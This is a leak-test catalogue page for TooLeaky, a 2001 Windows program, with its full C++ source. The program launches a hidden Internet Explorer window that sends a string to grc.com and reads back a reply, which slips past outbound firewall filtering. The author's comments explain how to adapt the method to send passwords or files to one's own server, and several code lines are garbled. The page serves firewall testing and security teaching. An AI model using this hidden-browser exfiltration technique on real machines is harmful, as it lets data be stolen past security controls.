Leaktest information
|
Website : |
http://tooleaky.zensoft.com/ |
Author : |
Bob Sundling |
Dates : |
11/05/2001 |
Categories : |
launcher |
Download : |
tooleaky.exe (View EULA) |
MD5 |
5E78F144B41CD80083E60401B80F8D46 |
SHA-160 |
0C0A11B1C032915EB50183386FD88C6A05B47EBE |
Operating System : |
Windows 9x/Millenium/NT4/2000/XP |
|
Leaktest description
|
Tooleaky opens your default web browser with the following command line :
iexplore.exe http://grc.com/lt/leaktest.htm?PersonalInfoGoesHere
The launched window is hidden. If the web browser is allowed to access to port 80,
all data will able to be transmitted to remote adress (in our case GRC.com).
Keep in mind that this information could be password or credit card number by a
real malicious program...
|
Meaning
|
If the test is a success, this means that your firewall doesn't checks application
that launch others.
|
(View EULA)
Source Code
|
/*
TooLeaky: Trivial Firewall Leak Checker (http://tooleaky.zensoft.com/)
Bob Sundling (tooleaky@zensoft.com)
11/05/2001
This program will penetrate every firewall currently on the market that
claims to offer "outbound" protection, because it does not send or receive
data itself. Instead, it uses a hidden Internet Explorer window to do it.
And, of course, everybody allows Internet Explorer to send and receive data,
otherwise using the Internet would be a big pain in the you-know-what.
This program does two things:
(1) Transmits the string "PersonalInfoGoesHere" to Steve Gibson's web site.
(2) Retrieves a string back from Steve Gibson's web site, stored in the
section of a web page.
For a programmer to use this method generically in their application, they
would simply need to replace the URL in this program with a URL from their
own site, change the outputString from "PersonalInfoGoesHere" to any
information they would like to transmit, and then set up their web server to
return the information they would like to retreive in the
block of their page (the first few characters of the title are used as a
unique identifier so this program can find the window, since it doesn't
bother to keep track of the hidden IE window when it's first created). And of
course a programmer could repeat this process to transmit or receive as much
data as they'd like, or use the methods outlined in the code to send or
receive LARGE blocks of data in one fell swoop.
So why did I write this? Because I was starting to get sick of the whole
firewall debate, especially the ongoing feud between Steve Gibson and Network
Ice. Initially Steve said that Network Ice's "Black Ice Defender" product was
no good, and demonstrated that statement by showing that his LeakTest program could send and receive data through their "firewall" but not through anyone
else's (at least, after they patched their firewalls up a bit). Based on
that, he made the claim that other firewalls like "Zone Alarm" are better.
Network Ice responded by saying that outbound filtering is not important, but
eventually (actually, very recently) they put in a ridiculous block
specifically to prevent Black Ice Defender from allowing Steve's LeakTest
program to work. Steve then countered by correcting his LeakTest program by
making it retrieve data from a different site (his main server), on a
different port (80).
Indeed, once again with this new version, "LeakTest" does get through Black
Ice Defender, but not through other "firewalls" like Zone Alarm, McAfee
Firewall, Sygate Personal Firewall, Norton Firewall, or Tiny Personal
Firewall.
But I believe that real problem here is that Steve is (perhaps quite
unintentionally) simply writing to get around Black Ice Defender
specifically. "LeakTest" does not think "outside the box," and that's why all
those firewalls can "block" Steve's program. If you want to get around a
firewall, and you know that the firewalls check which programs are sending
data, then you shouldn't do it the way Steve has been! :-)
Now, it is true that Steve has been rather busy, and he has been talking
about things like adding "DLL hooking" to LeakTest lately, so I will cut him
some slack here. :-)
So, in an attempt to better educate users about how useless ALL of these
firewall programs really are, I did Steve's LeakTest one better. Like
everyone else, I've seen the LeakTest pages that claim that all these other
firewalls are better than Black Ice Defender. But, in fact all of those
firewalls share one very large problem: their design is inherently flawed by
the operating system they are running on. Basically: If a firewall is going
to allow some program (such as Internet Explorer) to transmit and receive
data over the Internet, and that program allows other programs to control its
actions, then there's no point in blocking anything at all.
Now, of course, this example program is intentionally simple. It could do far
more, such as transmit longer strings, retrieve complete files, etc. I kept
it short and to the point to demonstrate one thing: It doesn't take much to
get around today's so-called "firewalls."
(I was also getting sick of all of Steve Gibson's *GIGANTIC* programs, often
16KB or more, written in massively expansive assembly language. So I wrote
this in C++. The executable file is under 4KB.) ;-) (Sorry Steve, I couldn't
resist.) :-)
Enjoy!
Bob Sundling
tooleaky@zensoft.com
http://toleaky.zensoft.com/
PS. An important note for those of you compiling this into an executable
program: Do it without your compiler's default libraries, otherwise your
linker will choke!
*/
// Include one header, and then only bits and pieces of it (that's more than enough)
#define WIN32_LEAN_AND_MEAN
#include
// Forward declarations
BOOL CALLBACK EnumWindowsProc ( HWND hWnd, LPARAM lParam );
bool DisplayWelcomeBanner ( );
bool TransmitAndReceiveData ( );
void DisplaySucessBanner ( );
void DisplayFailureBanner ( );
// Some basic library functions so we can avoid the standard C++ library
bool z_memcmp ( void* _b1, void* _b2, size_t len );
char* z_strcat ( char* dest, const char *src );
char* z_strcpy ( char* dest, const char *src );
size_t z_strlen ( const char *s );
// A few global variables for fun
HWND ieWnd;
const char* title = "TooLeaky: Trivial Firewall Leak Checker (http://tooleaky.zensoft.com/)";
const char* baseURL = "http://grc.com/lt/leaktest.htm?";
const char* outputString = "PersonalInfoGoesHere";
char inputString[512];
// Main program
void WinMainCRTStartup ( )
{
if ( DisplayWelcomeBanner() )
{
if ( TransmitAndReceiveData() )
{
DisplaySucessBanner();
}
else
{
DisplayFailureBanner();
}
}
ExitProcess(0);
}
// Display a welcome message; allow the user to quit
bool DisplayWelcomeBanner ( )
{
return MessageBox(NULL,
"This program demonstrates how your firewall does NOT protect against\n"
"outbound connections, by sending a short string to Steve Gibson's web site\n"
"then retrieving a reply. For this simple example, you should currently be\n"
"connected to the Internet.\n\n"
"(Note that this program happens to rely on Steve's web pages as they were\n"
"on November 4, 2001.)\n\n"
"Please note that this program was NOT written or authorized by Steve Gibson;\n"
"his web site is merely used as an example.\n\n"
"This will probably just take a couple seconds; it will not take more than 30.\n\n"
"Do you wish to continue?",
title,
MB_YESNO | MB_ICONQUESTION) == IDYES;
}
// Perform the actual test
bool TransmitAndReceiveData ( )
{
//
// Step 1: Find the Internet Explorer executable (its location is in the
// registry).
//
char buffer[MAX_PATH + 512];
long len = sizeof(buffer);
RegQueryValueA(
HKEY_LOCAL_MACHINE,
"SOFTWARE\\Classes\\Applications\\iexplore.exe\\shell\\open\\command",
buffer,
&len;);
//
// Step 2: Give it our "secret" URL and spawn IE in a hidden window.
// Of course, the window doesn't have to be hidden, but why not.
//
// Note to those who think this method is limited:
//
// If we wanted to pass more information than fits on the command line,
// we could first create an HTML file on the user's hard drive that
// consists of that data, and have that HTML file reload to the actual
// URL that we wanted to send the data to, passing the data along (this
// can be done with a META REFRESH tag in the file's header, for example,
// or with JavaScript if you want to get fancy). In this instance,
// we are keeping things simple.
//
for (char*c = &buffer;[1]; *c != 0; c++ )
if ( *c == '%' ) *c = 0;
z_strcat(buffer, baseURL);
z_strcat(buffer, outputString);
WinExec(buffer, SW_HIDE);
//
// Step 3: Now wait for the page to load, and retrieve some information
// (which, in this trivial example, is passed back through the web page's
// title). If this takes more than 30 seconds, give up.
//
// Note to those who think this method is limited:
//
// Since we have the handle to the Internet Explorer page's window, we
// can easily find its child windows, and can retrieve their contents
// as well. So we could also retrieve data from the actual page's
// contents rather than just the title. As a trivial example, send a
// "select all" followed by clipboard "copy" command to that window,
// and you've got all the data. (Of course, if you really wanted to be
// slick you wouldn't do it with such primitive means.)
//
int startCount = GetTickCount();
do
{
EnumWindows(EnumWindowsProc, 0);
if ( (GetTickCount() - startCount) > 30000 )
return false;
} while ( ieWnd == NULL );
//
// Step 4: Now we close the window, out of politeness. As an aside,
// not how we are sending it a command here... We can do all kinds
// of interesting things to it if we wanted, such as make it navigate
// to a different URL. Such methods can even be used on pre-existing
// Internet Explorer windows; we don't need to have created them
// ourselves. In that way, we could pass information even if some
// goofy firewall vendor decides to block programs with top-level
// hidden windows from establishing Internet connections, or some
// such silly thing.
//
SendMessage(ieWnd, WM_SYSCOMMAND, SC_CLOSE, 0);
return true;
}
// Display the success banner
void DisplaySucessBanner ( )
{
char temp[1024];
wsprintf(temp,
"Success!\n\n"
"Which, in your case, means failure: Your \"firewall\" is useless!\n\n"
"This program has:\n\n"
"(1) Successfully breached your firewall.\n"
"(2) Successfully sent the string '%s' to grc.com.\n"
"(3) Successfully retrieved the string '%s' from grc.com.\n\n"
"Your firewall's so-called \"outbound protection\" is, unfortunately, nothing\n"
"but a cruel joke.\n\n"
"Bob Sundling\n"
"tooleaky@zensoft.com\n"
"http://tooleaky.zensoft.com/",
outputString,
inputString);
MessageBox(NULL, temp, title, MB_OK | MB_ICONINFORMATION);
}
// Display the failure banner (not very likely)
void DisplayFailureBanner ( )
{
MessageBox(NULL,
"There was apparently no leak, your computer or Internet connection is very slow,\n"
"or, most likely, the GRC.COM website is down temporarily. Please try again later.",
title,
MB_OK | MB_ICONINFORMATION);
}
// Find the appropriate window
BOOL CALLBACK EnumWindowsProc ( HWND hWnd, LPARAM lParam )
{
char tmp[512];
GetWindowText(hWnd, tmp, sizeof(tmp));
//
// Here we check for the first eight characters of the title being "LeakTest"
// In actual use, this would be something more obscure, like "2x9$$@fA" for
// example. (If the user happens to have another window that starts with
// "LeakTest" we may find it instead. For this simple example, we do not
// care. We could instead search by the window's class, or get the window
// handle of the URL field to verify, or whatever, if we really wanted to--or
// just keep track of the process when we first create it!)
//
if ( z_memcmp(tmp, "LeakTest", 8) == 0 )
{
z_strcpy(inputString, &tmp;[12]); // Save the title
inputString[23] = 0; // We just want a few characters in our example
ieWnd = hWnd; // Save the window so we can politely close it
return FALSE;
}
return TRUE;
}
// Some library functions. These aren't exactly identical to the standard C++
// library functions, in case you are wondering.
bool z_memcmp ( void* _b1, void* _b2, size_t len )
{
char *b1 = (char*)_b1;
char *b2 = (char*)_b2;
for ( size_t i = 0; i < len; i++ )
if ( b1[i] != b2[i] )
return true;
return false;
}
char* z_strcat ( char* dest, const char *src )
{
z_strcpy(&dest;[z_strlen(dest)], src);
return dest;
}
char* z_strcpy ( char* dest, const char *src )
{
char *d = dest;
while ( *src )
*dest++ = *src++;
*dest = 0;
return d;
}
size_t z_strlen ( const char *s )
{
for ( int i = 0; s[i]; i++ );
return i;
}
|
|
|